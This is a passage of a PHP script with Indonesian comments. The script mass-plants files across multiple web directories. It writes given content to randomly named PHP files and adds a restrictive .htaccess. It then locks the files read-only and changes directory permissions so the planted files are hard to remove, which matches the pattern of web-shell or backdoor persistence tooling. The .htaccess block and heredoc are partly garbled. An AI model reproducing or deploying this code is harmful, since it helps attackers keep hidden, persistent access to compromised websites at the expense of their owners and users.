$targetDir) { $randomFilename = generateRandomPhpFilename(); $filePath = $targetDir . '/' . $randomFilename; // Memastikan direktori bisa ditulisi if (!is_writable($targetDir)) { echo "Gagal: Direktori tidak dapat ditulisi - $targetDir\n"; continue; } // Menyimpan konten ke file dengan nama acak $result = file_put_contents($filePath, $fileContent); if ($result === false) { echo "Gagal menyimpan file ke $filePath\n"; continue; } // Membuat file .htaccess dengan konfigurasi mod_rewrite $htaccessContent = << Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] HTACCESS; $htaccessPath = $targetDir . '/.htaccess'; file_put_contents($htaccessPath, $htaccessContent); // Mengubah hak akses file PHP dan .htaccess menjadi 0444 (hanya bisa dibaca) chmod($filePath, 0444); chmod($htaccessPath, 0444); // Mengubah hak akses direktori tempat file diunggah menjadi 0555 (hanya bisa dibaca dan dieksekusi) chmod($targetDir, 0111); echo "[$index] Berhasil mengunggah: $filePath\n"; echo "[$index] .htaccess dibuat di: $htaccessPath\n"; echo "[$index] Hak akses diubah: $filePath dan $htaccessPath (0444), Direktori: $targetDir (0111)\n"; } ?>